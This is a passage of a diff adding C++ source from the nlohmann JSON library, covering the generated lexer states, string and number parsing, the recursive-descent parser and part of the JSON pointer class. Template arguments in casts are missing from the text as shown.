+ { + goto basic_json_parser_5; + } + else + { + goto basic_json_parser_14; + } + } + else + { + if (yyaccept == 2) + { + goto basic_json_parser_44; + } + else + { + goto basic_json_parser_58; + } + } +basic_json_parser_33: + ++m_cursor; + { + last_token_type = token_type::value_string; + break; + } +basic_json_parser_35: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 'e') + { + if (yych <= '/') + { + if (yych == '"') + { + goto basic_json_parser_30; + } + if (yych <= '.') + { + goto basic_json_parser_32; + } + goto basic_json_parser_30; + } + else + { + if (yych <= '\\') + { + if (yych <= '[') + { + goto basic_json_parser_32; + } + goto basic_json_parser_30; + } + else + { + if (yych == 'b') + { + goto basic_json_parser_30; + } + goto basic_json_parser_32; + } + } + } + else + { + if (yych <= 'q') + { + if (yych <= 'f') + { + goto basic_json_parser_30; + } + if (yych == 'n') + { + goto basic_json_parser_30; + } + goto basic_json_parser_32; + } + else + { + if (yych <= 's') + { + if (yych <= 'r') + { + goto basic_json_parser_30; + } + goto basic_json_parser_32; + } + else + { + if (yych <= 't') + { + goto basic_json_parser_30; + } + if (yych <= 'u') + { + goto basic_json_parser_55; + } + goto basic_json_parser_32; + } + } + } +basic_json_parser_36: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 0x7F) + { + goto basic_json_parser_32; + } + if (yych <= 0xBF) + { + goto basic_json_parser_30; + } + goto basic_json_parser_32; +basic_json_parser_37: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 0x9F) + { + goto basic_json_parser_32; + } + if (yych <= 0xBF) + { + goto basic_json_parser_36; + } + goto basic_json_parser_32; +basic_json_parser_38: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 0x7F) + { + goto basic_json_parser_32; + } + if (yych <= 0xBF) + { + goto basic_json_parser_36; + } + goto basic_json_parser_32; +basic_json_parser_39: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 0x7F) + { + goto basic_json_parser_32; + } + if (yych <= 0x9F) + { + goto basic_json_parser_36; + } + goto basic_json_parser_32; +basic_json_parser_40: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 0x8F) + { + goto basic_json_parser_32; + } + if (yych <= 0xBF) + { + goto basic_json_parser_38; + } + goto basic_json_parser_32; +basic_json_parser_41: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 0x7F) + { + goto basic_json_parser_32; + } + if (yych <= 0xBF) + { + goto basic_json_parser_38; + } + goto basic_json_parser_32; +basic_json_parser_42: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 0x7F) + { + goto basic_json_parser_32; + } + if (yych <= 0x8F) + { + goto basic_json_parser_38; + } + goto basic_json_parser_32; +basic_json_parser_43: + yyaccept = 2; + yych = *(m_marker = ++m_cursor); + if (yych <= '9') + { + if (yych == '.') + { + goto basic_json_parser_47; + } + if (yych >= '0') + { + goto basic_json_parser_48; + } + } + else + { + if (yych <= 'E') + { + if (yych >= 'E') + { + goto basic_json_parser_51; + } + } + else + { + if (yych == 'e') + { + goto basic_json_parser_51; + } + } + } +basic_json_parser_44: + { + last_token_type = token_type::value_integer; + break; + } +basic_json_parser_45: + yyaccept = 2; + m_marker = ++m_cursor; + if ((m_limit - m_cursor) < 3) + { + fill_line_buffer(3); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= '9') + { + if (yych == '.') + { + goto basic_json_parser_47; + } + if (yych <= '/') + { + goto basic_json_parser_44; + } + goto basic_json_parser_45; + } + else + { + if (yych <= 'E') + { + if (yych <= 'D') + { + goto basic_json_parser_44; + } + goto basic_json_parser_51; + } + else + { + if (yych == 'e') + { + goto basic_json_parser_51; + } + goto basic_json_parser_44; + } + } +basic_json_parser_47: + yych = *++m_cursor; + if (yych <= '/') + { + goto basic_json_parser_32; + } + if (yych <= '9') + { + goto basic_json_parser_56; + } + goto basic_json_parser_32; +basic_json_parser_48: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= '/') + { + goto basic_json_parser_50; + } + if (yych <= '9') + { + goto basic_json_parser_48; + } +basic_json_parser_50: + { + last_token_type = token_type::parse_error; + break; + } +basic_json_parser_51: + yych = *++m_cursor; + if (yych <= ',') + { + if (yych == '+') + { + goto basic_json_parser_59; + } + goto basic_json_parser_32; + } + else + { + if (yych <= '-') + { + goto basic_json_parser_59; + } + if (yych <= '/') + { + goto basic_json_parser_32; + } + if (yych <= '9') + { + goto basic_json_parser_60; + } + goto basic_json_parser_32; + } +basic_json_parser_52: + yych = *++m_cursor; + if (yych == 'l') + { + goto basic_json_parser_62; + } + goto basic_json_parser_32; +basic_json_parser_53: + yych = *++m_cursor; + if (yych == 'l') + { + goto basic_json_parser_63; + } + goto basic_json_parser_32; +basic_json_parser_54: + yych = *++m_cursor; + if (yych == 'u') + { + goto basic_json_parser_64; + } + goto basic_json_parser_32; +basic_json_parser_55: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= '@') + { + if (yych <= '/') + { + goto basic_json_parser_32; + } + if (yych <= '9') + { + goto basic_json_parser_65; + } + goto basic_json_parser_32; + } + else + { + if (yych <= 'F') + { + goto basic_json_parser_65; + } + if (yych <= '`') + { + goto basic_json_parser_32; + } + if (yych <= 'f') + { + goto basic_json_parser_65; + } + goto basic_json_parser_32; + } +basic_json_parser_56: + yyaccept = 3; + m_marker = ++m_cursor; + if ((m_limit - m_cursor) < 3) + { + fill_line_buffer(3); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= 'D') + { + if (yych <= '/') + { + goto basic_json_parser_58; + } + if (yych <= '9') + { + goto basic_json_parser_56; + } + } + else + { + if (yych <= 'E') + { + goto basic_json_parser_51; + } + if (yych == 'e') + { + goto basic_json_parser_51; + } + } +basic_json_parser_58: + { + last_token_type = token_type::value_float; + break; + } +basic_json_parser_59: + yych = *++m_cursor; + if (yych <= '/') + { + goto basic_json_parser_32; + } + if (yych >= ':') + { + goto basic_json_parser_32; + } +basic_json_parser_60: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= '/') + { + goto basic_json_parser_58; + } + if (yych <= '9') + { + goto basic_json_parser_60; + } + goto basic_json_parser_58; +basic_json_parser_62: + yych = *++m_cursor; + if (yych == 's') + { + goto basic_json_parser_66; + } + goto basic_json_parser_32; +basic_json_parser_63: + yych = *++m_cursor; + if (yych == 'l') + { + goto basic_json_parser_67; + } + goto basic_json_parser_32; +basic_json_parser_64: + yych = *++m_cursor; + if (yych == 'e') + { + goto basic_json_parser_69; + } + goto basic_json_parser_32; +basic_json_parser_65: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= '@') + { + if (yych <= '/') + { + goto basic_json_parser_32; + } + if (yych <= '9') + { + goto basic_json_parser_71; + } + goto basic_json_parser_32; + } + else + { + if (yych <= 'F') + { + goto basic_json_parser_71; + } + if (yych <= '`') + { + goto basic_json_parser_32; + } + if (yych <= 'f') + { + goto basic_json_parser_71; + } + goto basic_json_parser_32; + } +basic_json_parser_66: + yych = *++m_cursor; + if (yych == 'e') + { + goto basic_json_parser_72; + } + goto basic_json_parser_32; +basic_json_parser_67: + ++m_cursor; + { + last_token_type = token_type::literal_null; + break; + } +basic_json_parser_69: + ++m_cursor; + { + last_token_type = token_type::literal_true; + break; + } +basic_json_parser_71: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= '@') + { + if (yych <= '/') + { + goto basic_json_parser_32; + } + if (yych <= '9') + { + goto basic_json_parser_74; + } + goto basic_json_parser_32; + } + else + { + if (yych <= 'F') + { + goto basic_json_parser_74; + } + if (yych <= '`') + { + goto basic_json_parser_32; + } + if (yych <= 'f') + { + goto basic_json_parser_74; + } + goto basic_json_parser_32; + } +basic_json_parser_72: + ++m_cursor; + { + last_token_type = token_type::literal_false; + break; + } +basic_json_parser_74: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yych <= '@') + { + if (yych <= '/') + { + goto basic_json_parser_32; + } + if (yych <= '9') + { + goto basic_json_parser_30; + } + goto basic_json_parser_32; + } + else + { + if (yych <= 'F') + { + goto basic_json_parser_30; + } + if (yych <= '`') + { + goto basic_json_parser_32; + } + if (yych <= 'f') + { + goto basic_json_parser_30; + } + goto basic_json_parser_32; + } + } + + } + + return last_token_type; + } + + /*! + @brief append data from the stream to the line buffer + + This function is called by the scan() function when the end of the + buffer (`m_limit`) is reached and the `m_cursor` pointer cannot be + incremented without leaving the limits of the line buffer. Note re2c + decides when to call this function. + + If the lexer reads from contiguous storage, there is no trailing null + byte. Therefore, this function must make sure to add these padding + null bytes. + + If the lexer reads from an input stream, this function reads the next + line of the input. + + @pre + p p p p p p u u u u u x . . . . . . + ^ ^ ^ ^ + m_content m_start | m_limit + m_cursor + + @post + u u u u u x x x x x x x . . . . . . + ^ ^ ^ + | m_cursor m_limit + m_start + m_content + */ + void fill_line_buffer(size_t n = 0) + { + // if line buffer is used, m_content points to its data + assert(m_line_buffer.empty() + or m_content == reinterpret_cast(m_line_buffer.data())); + + // if line buffer is used, m_limit is set past the end of its data + assert(m_line_buffer.empty() + or m_limit == m_content + m_line_buffer.size()); + + // pointer relationships + assert(m_content <= m_start); + assert(m_start <= m_cursor); + assert(m_cursor <= m_limit); + assert(m_marker == nullptr or m_marker <= m_limit); + + // number of processed characters (p) + const auto num_processed_chars = static_cast(m_start - m_content); + // offset for m_marker wrt. to m_start + const auto offset_marker = (m_marker == nullptr) ? 0 : m_marker - m_start; + // number of unprocessed characters (u) + const auto offset_cursor = m_cursor - m_start; + + // no stream is used or end of file is reached + if (m_stream == nullptr or m_stream->eof()) + { + // m_start may or may not be pointing into m_line_buffer at + // this point. We trust the standard library to do the right + // thing. See http://stackoverflow.com/q/28142011/266378 + m_line_buffer.assign(m_start, m_limit); + + // append n characters to make sure that there is sufficient + // space between m_cursor and m_limit + m_line_buffer.append(1, '\x00'); + if (n > 0) + { + m_line_buffer.append(n - 1, '\x01'); + } + } + else + { + // delete processed characters from line buffer + m_line_buffer.erase(0, num_processed_chars); + // read next line from input stream + m_line_buffer_tmp.clear(); + std::getline(*m_stream, m_line_buffer_tmp, '\n'); + + // add line with newline symbol to the line buffer + m_line_buffer += m_line_buffer_tmp; + m_line_buffer.push_back('\n'); + } + + // set pointers + m_content = reinterpret_cast(m_line_buffer.data()); + assert(m_content != nullptr); + m_start = m_content; + m_marker = m_start + offset_marker; + m_cursor = m_start + offset_cursor; + m_limit = m_start + m_line_buffer.size(); + } + + /// return string representation of last read token + string_t get_token_string() const + { + assert(m_start != nullptr); + return string_t(reinterpret_cast(m_start), + static_cast(m_cursor - m_start)); + } + + /*! + @brief return string value for string tokens + + The function iterates the characters between the opening and closing + quotes of the string value. The complete string is the range + [m_start,m_cursor). Consequently, we iterate from m_start+1 to + m_cursor-1. + + We differentiate two cases: + + 1. Escaped characters. In this case, a new character is constructed + according to the nature of the escape. Some escapes create new + characters (e.g., `"\\n"` is replaced by `"\n"`), some are copied + as is (e.g., `"\\\\"`). Furthermore, Unicode escapes of the shape + `"\\uxxxx"` need special care. In this case, to_unicode takes care + of the construction of the values. + 2. Unescaped characters are copied as is. + + @pre `m_cursor - m_start >= 2`, meaning the length of the last token + is at least 2 bytes which is trivially true for any string (which + consists of at least two quotes). + + " c1 c2 c3 ... " + ^ ^ + m_start m_cursor + + @complexity Linear in the length of the string.\n + + Lemma: The loop body will always terminate.\n + + Proof (by contradiction): Assume the loop body does not terminate. As + the loop body does not contain another loop, one of the called + functions must never return. The called functions are `std::strtoul` + and to_unicode. Neither function can loop forever, so the loop body + will never loop forever which contradicts the assumption that the loop + body does not terminate, q.e.d.\n + + Lemma: The loop condition for the for loop is eventually false.\n + + Proof (by contradiction): Assume the loop does not terminate. Due to + the above lemma, this can only be due to a tautological loop + condition; that is, the loop condition i < m_cursor - 1 must always be + true. Let x be the change of i for any loop iteration. Then + m_start + 1 + x < m_cursor - 1 must hold to loop indefinitely. This + can be rephrased to m_cursor - m_start - 2 > x. With the + precondition, we x <= 0, meaning that the loop condition holds + indefinitely if i is always decreased. However, observe that the value + of i is strictly increasing with each iteration, as it is incremented + by 1 in the iteration expression and never decremented inside the loop + body. Hence, the loop condition will eventually be false which + contradicts the assumption that the loop condition is a tautology, + q.e.d. + + @return string value of current token without opening and closing + quotes + @throw std::out_of_range if to_unicode fails + */ + string_t get_string() const + { + assert(m_cursor - m_start >= 2); + + string_t result; + result.reserve(static_cast(m_cursor - m_start - 2)); + + // iterate the result between the quotes + for (const lexer_char_t* i = m_start + 1; i < m_cursor - 1; ++i) + { + // find next escape character + auto e = std::find(i, m_cursor - 1, '\\'); + if (e != i) + { + // see https://github.com/nlohmann/json/issues/365#issuecomment-262874705 + for (auto k = i; k < e; k++) + { + result.push_back(static_cast(*k)); + } + i = e - 1; // -1 because of ++i + } + else + { + // processing escaped character + // read next character + ++i; + + switch (*i) + { + // the default escapes + case 't': + { + result += "\t"; + break; + } + case 'b': + { + result += "\b"; + break; + } + case 'f': + { + result += "\f"; + break; + } + case 'n': + { + result += "\n"; + break; + } + case 'r': + { + result += "\r"; + break; + } + case '\\': + { + result += "\\"; + break; + } + case '/': + { + result += "/"; + break; + } + case '"': + { + result += "\""; + break; + } + + // unicode + case 'u': + { + // get code xxxx from uxxxx + auto codepoint = std::strtoul(std::string(reinterpret_cast(i + 1), + 4).c_str(), nullptr, 16); + + // check if codepoint is a high surrogate + if (codepoint >= 0xD800 and codepoint <= 0xDBFF) + { + // make sure there is a subsequent unicode + if ((i + 6 >= m_limit) or * (i + 5) != '\\' or * (i + 6) != 'u') + { + JSON_THROW(std::invalid_argument("missing low surrogate")); + } + + // get code yyyy from uxxxx\uyyyy + auto codepoint2 = std::strtoul(std::string(reinterpret_cast + (i + 7), 4).c_str(), nullptr, 16); + result += to_unicode(codepoint, codepoint2); + // skip the next 10 characters (xxxx\uyyyy) + i += 10; + } + else if (codepoint >= 0xDC00 and codepoint <= 0xDFFF) + { + // we found a lone low surrogate + JSON_THROW(std::invalid_argument("missing high surrogate")); + } + else + { + // add unicode character(s) + result += to_unicode(codepoint); + // skip the next four characters (xxxx) + i += 4; + } + break; + } + } + } + } + + return result; + } + + + /*! + @brief parse string into a built-in arithmetic type as if the current + locale is POSIX. + + @note in floating-point case strtod may parse past the token's end - + this is not an error + + @note any leading blanks are not handled + */ + struct strtonum + { + public: + strtonum(const char* start, const char* end) + : m_start(start), m_end(end) + {} + + /*! + @return true iff parsed successfully as number of type T + + @param[in,out] val shall contain parsed value, or undefined value + if could not parse + */ + template::value>::type> + bool to(T& val) const + { + return parse(val, std::is_integral()); + } + + private: + const char* const m_start = nullptr; + const char* const m_end = nullptr; + + // floating-point conversion + + // overloaded wrappers for strtod/strtof/strtold + // that will be called from parse + static void strtof(float& f, const char* str, char** endptr) + { + f = std::strtof(str, endptr); + } + + static void strtof(double& f, const char* str, char** endptr) + { + f = std::strtod(str, endptr); + } + + static void strtof(long double& f, const char* str, char** endptr) + { + f = std::strtold(str, endptr); + } + + template + bool parse(T& value, /*is_integral=*/std::false_type) const + { + // replace decimal separator with locale-specific version, + // when necessary; data will point to either the original + // string, or buf, or tempstr containing the fixed string. + std::string tempstr; + std::array buf; + const size_t len = static_cast(m_end - m_start); + + // lexer will reject empty numbers + assert(len > 0); + + // since dealing with strtod family of functions, we're + // getting the decimal point char from the C locale facilities + // instead of C++'s numpunct facet of the current std::locale + const auto loc = localeconv(); + assert(loc != nullptr); + const char decimal_point_char = (loc->decimal_point == nullptr) ? '.' : loc->decimal_point[0]; + + const char* data = m_start; + + if (decimal_point_char != '.') + { + const size_t ds_pos = static_cast(std::find(m_start, m_end, '.') - m_start); + + if (ds_pos != len) + { + // copy the data into the local buffer or tempstr, if + // buffer is too small; replace decimal separator, and + // update data to point to the modified bytes + if ((len + 1) < buf.size()) + { + std::copy(m_start, m_end, buf.begin()); + buf[len] = 0; + buf[ds_pos] = decimal_point_char; + data = buf.data(); + } + else + { + tempstr.assign(m_start, m_end); + tempstr[ds_pos] = decimal_point_char; + data = tempstr.c_str(); + } + } + } + + char* endptr = nullptr; + value = 0; + // this calls appropriate overload depending on T + strtof(value, data, &endptr); + + // parsing was successful iff strtof parsed exactly the number + // of characters determined by the lexer (len) + const bool ok = (endptr == (data + len)); + + if (ok and (value == static_cast(0.0)) and (*data == '-')) + { + // some implementations forget to negate the zero + value = -0.0; + } + + return ok; + } + + // integral conversion + + signed long long parse_integral(char** endptr, /*is_signed*/std::true_type) const + { + return std::strtoll(m_start, endptr, 10); + } + + unsigned long long parse_integral(char** endptr, /*is_signed*/std::false_type) const + { + return std::strtoull(m_start, endptr, 10); + } + + template + bool parse(T& value, /*is_integral=*/std::true_type) const + { + char* endptr = nullptr; + errno = 0; // these are thread-local + const auto x = parse_integral(&endptr, std::is_signed()); + + // called right overload? + static_assert(std::is_signed() == std::is_signed(), ""); + + value = static_cast(x); + + return (x == static_cast(value)) // x fits into destination T + and (x < 0) == (value < 0) // preserved sign + //and ((x != 0) or is_integral()) // strto[u]ll did nto fail + and (errno == 0) // strto[u]ll did not overflow + and (m_start < m_end) // token was not empty + and (endptr == m_end); // parsed entire token exactly + } + }; + + /*! + @brief return number value for number tokens + + This function translates the last token into the most appropriate + number type (either integer, unsigned integer or floating point), + which is passed back to the caller via the result parameter. + + integral numbers that don't fit into the the range of the respective + type are parsed as number_float_t + + floating-point values do not satisfy std::isfinite predicate + are converted to value_t::null + + throws if the entire string [m_start .. m_cursor) cannot be + interpreted as a number + + @param[out] result @ref basic_json object to receive the number. + @param[in] token the type of the number token + */ + bool get_number(basic_json& result, const token_type token) const + { + assert(m_start != nullptr); + assert(m_start < m_cursor); + assert((token == token_type::value_unsigned) or + (token == token_type::value_integer) or + (token == token_type::value_float)); + + strtonum num_converter(reinterpret_cast(m_start), + reinterpret_cast(m_cursor)); + + switch (token) + { + case lexer::token_type::value_unsigned: + { + number_unsigned_t val; + if (num_converter.to(val)) + { + // parsing successful + result.m_type = value_t::number_unsigned; + result.m_value = val; + return true; + } + break; + } + + case lexer::token_type::value_integer: + { + number_integer_t val; + if (num_converter.to(val)) + { + // parsing successful + result.m_type = value_t::number_integer; + result.m_value = val; + return true; + } + break; + } + + default: + { + break; + } + } + + // parse float (either explicitly or because a previous conversion + // failed) + number_float_t val; + if (num_converter.to(val)) + { + // parsing successful + result.m_type = value_t::number_float; + result.m_value = val; + + // replace infinity and NAN by null + if (not std::isfinite(result.m_value.number_float)) + { + result.m_type = value_t::null; + result.m_value = basic_json::json_value(); + } + + return true; + } + + // couldn't parse number in any format + return false; + } + + private: + /// optional input stream + std::istream* m_stream = nullptr; + /// line buffer buffer for m_stream + string_t m_line_buffer {}; + /// used for filling m_line_buffer + string_t m_line_buffer_tmp {}; + /// the buffer pointer + const lexer_char_t* m_content = nullptr; + /// pointer to the beginning of the current symbol + const lexer_char_t* m_start = nullptr; + /// pointer for backtracking information + const lexer_char_t* m_marker = nullptr; + /// pointer to the current symbol + const lexer_char_t* m_cursor = nullptr; + /// pointer to the end of the buffer + const lexer_char_t* m_limit = nullptr; + /// the last token type + token_type last_token_type = token_type::end_of_input; + }; + + /*! + @brief syntax analysis + + This class implements a recursive decent parser. + */ + class parser + { + public: + /// a parser reading from a string literal + parser(const char* buff, const parser_callback_t cb = nullptr) + : callback(cb), + m_lexer(reinterpret_cast(buff), std::strlen(buff)) + {} + + /// a parser reading from an input stream + parser(std::istream& is, const parser_callback_t cb = nullptr) + : callback(cb), m_lexer(is) + {} + + /// a parser reading from an iterator range with contiguous storage + template::iterator_category, std::random_access_iterator_tag>::value + , int>::type + = 0> + parser(IteratorType first, IteratorType last, const parser_callback_t cb = nullptr) + : callback(cb), + m_lexer(reinterpret_cast(&(*first)), + static_cast(std::distance(first, last))) + {} + + /// public parser interface + basic_json parse() + { + // read first token + get_token(); + + basic_json result = parse_internal(true); + result.assert_invariant(); + + expect(lexer::token_type::end_of_input); + + // return parser result and replace it with null in case the + // top-level value was discarded by the callback function + return result.is_discarded() ? basic_json() : std::move(result); + } + + private: + /// the actual parser + basic_json parse_internal(bool keep) + { + auto result = basic_json(value_t::discarded); + + switch (last_token) + { + case lexer::token_type::begin_object: + { + if (keep and (not callback + or ((keep = callback(depth++, parse_event_t::object_start, result)) != 0))) + { + // explicitly set result to object to cope with {} + result.m_type = value_t::object; + result.m_value = value_t::object; + } + + // read next token + get_token(); + + // closing } -> we are done + if (last_token == lexer::token_type::end_object) + { + get_token(); + if (keep and callback and not callback(--depth, parse_event_t::object_end, result)) + { + result = basic_json(value_t::discarded); + } + return result; + } + + // no comma is expected here + unexpect(lexer::token_type::value_separator); + + // otherwise: parse key-value pairs + do + { + // ugly, but could be fixed with loop reorganization + if (last_token == lexer::token_type::value_separator) + { + get_token(); + } + + // store key + expect(lexer::token_type::value_string); + const auto key = m_lexer.get_string(); + + bool keep_tag = false; + if (keep) + { + if (callback) + { + basic_json k(key); + keep_tag = callback(depth, parse_event_t::key, k); + } + else + { + keep_tag = true; + } + } + + // parse separator (:) + get_token(); + expect(lexer::token_type::name_separator); + + // parse and add value + get_token(); + auto value = parse_internal(keep); + if (keep and keep_tag and not value.is_discarded()) + { + result[key] = std::move(value); + } + } + while (last_token == lexer::token_type::value_separator); + + // closing } + expect(lexer::token_type::end_object); + get_token(); + if (keep and callback and not callback(--depth, parse_event_t::object_end, result)) + { + result = basic_json(value_t::discarded); + } + + return result; + } + + case lexer::token_type::begin_array: + { + if (keep and (not callback + or ((keep = callback(depth++, parse_event_t::array_start, result)) != 0))) + { + // explicitly set result to object to cope with [] + result.m_type = value_t::array; + result.m_value = value_t::array; + } + + // read next token + get_token(); + + // closing ] -> we are done + if (last_token == lexer::token_type::end_array) + { + get_token(); + if (callback and not callback(--depth, parse_event_t::array_end, result)) + { + result = basic_json(value_t::discarded); + } + return result; + } + + // no comma is expected here + unexpect(lexer::token_type::value_separator); + + // otherwise: parse values + do + { + // ugly, but could be fixed with loop reorganization + if (last_token == lexer::token_type::value_separator) + { + get_token(); + } + + // parse value + auto value = parse_internal(keep); + if (keep and not value.is_discarded()) + { + result.push_back(std::move(value)); + } + } + while (last_token == lexer::token_type::value_separator); + + // closing ] + expect(lexer::token_type::end_array); + get_token(); + if (keep and callback and not callback(--depth, parse_event_t::array_end, result)) + { + result = basic_json(value_t::discarded); + } + + return result; + } + + case lexer::token_type::literal_null: + { + get_token(); + result.m_type = value_t::null; + break; + } + + case lexer::token_type::value_string: + { + const auto s = m_lexer.get_string(); + get_token(); + result = basic_json(s); + break; + } + + case lexer::token_type::literal_true: + { + get_token(); + result.m_type = value_t::boolean; + result.m_value = true; + break; + } + + case lexer::token_type::literal_false: + { + get_token(); + result.m_type = value_t::boolean; + result.m_value = false; + break; + } + + case lexer::token_type::value_unsigned: + case lexer::token_type::value_integer: + case lexer::token_type::value_float: + { + m_lexer.get_number(result, last_token); + get_token(); + break; + } + + default: + { + // the last token was unexpected + unexpect(last_token); + } + } + + if (keep and callback and not callback(depth, parse_event_t::value, result)) + { + result = basic_json(value_t::discarded); + } + return result; + } + + /// get next token from lexer + typename lexer::token_type get_token() + { + last_token = m_lexer.scan(); + return last_token; + } + + void expect(typename lexer::token_type t) const + { + if (t != last_token) + { + std::string error_msg = "parse error - unexpected "; + error_msg += (last_token == lexer::token_type::parse_error ? ("'" + m_lexer.get_token_string() + + "'") : + lexer::token_type_name(last_token)); + error_msg += "; expected " + lexer::token_type_name(t); + JSON_THROW(std::invalid_argument(error_msg)); + } + } + + void unexpect(typename lexer::token_type t) const + { + if (t == last_token) + { + std::string error_msg = "parse error - unexpected "; + error_msg += (last_token == lexer::token_type::parse_error ? ("'" + m_lexer.get_token_string() + + "'") : + lexer::token_type_name(last_token)); + JSON_THROW(std::invalid_argument(error_msg)); + } + } + + private: + /// current level of recursion + int depth = 0; + /// callback function + const parser_callback_t callback = nullptr; + /// the type of the last read token + typename lexer::token_type last_token = lexer::token_type::uninitialized; + /// the lexer + lexer m_lexer; + }; + + public: + /*! + @brief JSON Pointer + + A JSON pointer defines a string syntax for identifying a specific value + within a JSON document. It can be used with functions `at` and + `operator[]`. Furthermore, JSON pointers are the base for JSON patches. + + @sa [RFC 6901](https://tools.ietf.org/html/rfc6901) + + @since version 2.0.0 + */ + class json_pointer + { + /// allow basic_json to access private members + friend class basic_json; + + public: + /*! + @brief create JSON pointer + + Create a JSON pointer according to the syntax described in + [Section 3 of RFC6901](https://tools.ietf.org/html/rfc6901#section-3). + + @param[in] s string representing the JSON pointer; if omitted, the + empty string is assumed which references the whole JSON + value + + @throw std::domain_error if reference token is nonempty and does not + begin with a slash (`/`); example: `"JSON pointer must be empty or + begin with /"` + @throw std::domain_error if a tilde (`~`) is not followed by `0` + (representing `~`) or `1` (representing `/`); example: `"escape error: + ~ must be followed with 0 or 1"` + + @liveexample{The example shows the construction several valid JSON + pointers as well as the exceptional behavior.,json_pointer} + + @since version 2.0.0 + */ + explicit json_pointer(const std::string& s = "") + : reference_tokens(split(s)) + {} + + /*! + @brief return a string representation of the JSON pointer + + @invariant For each JSON pointer `ptr`, it holds: + @code {.cpp} + ptr == json_pointer(ptr.to_string()); + @endcode + + @return a string representation of the JSON pointer + + @liveexample{The example shows the result of `to_string`., + json_pointer__to_string} + + @since version 2.0.0 + */ + std::string to_string() const noexcept + { + return std::accumulate(reference_tokens.begin(), + reference_tokens.end(), std::string{}, + [](const std::string & a, const std::string & b) + { + return a + "/" + escape(b); + }); + } + + /// @copydoc to_string() + operator std::string() const + { + return to_string(); + } + + private: + /// remove and return last reference pointer + std::string pop_back() + { + if (is_root()) + { + JSON_THROW(std::domain_error("JSON pointer has no parent")); + } + + auto last = reference_tokens.back(); + reference_tokens.pop_back(); + return last; + } + + /// return whether pointer points to the root document + bool is_root() const + { + return reference_tokens.empty(); + } + + json_pointer top() const + { + if (is_root()) + { + JSON_THROW(std::domain_error("JSON pointer has no parent")); + } + + json_pointer result = *this; + result.reference_tokens = {reference_tokens[0]}; + return result; + } + + /*! + @brief create and return a reference to the pointed to value + + @complexity Linear in the number of reference tokens. + */ + reference get_and_create(reference j) const + { + pointer result = &j; + + // in case no reference tokens exist, return a reference to the + // JSON value j which will be overwritten by a primitive value + for (const auto& reference_token : reference_tokens) + { + switch (result->m_type) + { + case value_t::null: + { + if (reference_token == "0") + { + // start a new array if reference token is 0 + result = &result->operator[](0); + } + else + { + // start a new object otherwise + result = &result->operator[](reference_token); + } + break; + } + + case value_t::object: + { + // create an entry in the object + result = &result->operator[](reference_token); + break; + } + + case value_t::array: + { + // create an entry in the array + result = &result->operator[](static_cast(std::stoi(reference_token))); + break; + } + + /* + The following code is only reached if there exists a + reference token _and_ the current value is primitive. In + this case, we have an error situation, because primitive + values may only occur as single value; that is, with an + empty list of reference tokens. + */ + default: + { + JSON_THROW(std::domain_error("invalid value to unflatten")); + } + } + } + + return *result; + } + + /*! + @brief return a reference to the pointed to value + + @note This version does not throw if a value is not present, but tries + to create nested values instead. For instance, calling this function + with pointer `"/this/that"` on a null value is equivalent to calling + `operator[]("this").operator[]("that")` on that value, effectively + changing the null value to an object. + + @param[in] ptr a JSON value + + @return reference to the JSON value pointed to by the JSON pointer + + @complexity Linear in the length of the JSON pointer. + + @throw std::out_of_range if the JSON pointer can not be resolved + @throw std::domain_error if an array index begins with '0' + @throw std::invalid_argument if an array index was not a number + */ + reference get_unchecked(pointer ptr) const + { + for (const auto& reference_token : reference_tokens) + { + // convert null values to arrays or objects before continuing + if (ptr->m_type == value_t::null) + { + // check if reference token is a number + const bool nums = std::all_of(reference_token.begin(), + reference_token.end(), + [](const char x) + { + return std::isdigit(x); + }); + + // change value to array for numbers or "-" or to object + // otherwise + if (nums or reference_token == "-") + { + *ptr = value_t::array; + } + else + { + *ptr = value_t::object; + } + } + + switch (ptr->m_type) + { + case value_t::object: + { + // use unchecked object access + ptr = &ptr->operator[](reference_token); + break; + } + + case value_t::array: + { + // error condition (cf. RFC 6901, Sect. 4) + if (reference_token.size() > 1 and reference_token[0] == '0') + { + JSON_THROW(std::domain_error("array index must not begin with '0'")); + } + + if (reference_token == "-") + { + // explicitly treat "-" as index beyond the end + ptr = &ptr->operator[](ptr->m_value.array->size()); + } + else + { + // convert array index to number; unchecked access + ptr = &ptr->operator[](static_cast(std::stoi(reference_token))); + } + break; + } + + default: + { + JSON_THROW(std::out_of_range("unresolved reference token '" + reference_token + "'")); + } + } + } + + return *ptr; + } + + reference get_checked(pointer ptr) const + { + for (const auto& reference_token : reference_tokens) + { + switch (ptr->m_type) + { + case value_t::object: + { + // note: at performs range check + ptr = &ptr->at(reference_token); + break; + } + + case value_t::array: + { + if (reference_token == "-") + { + // 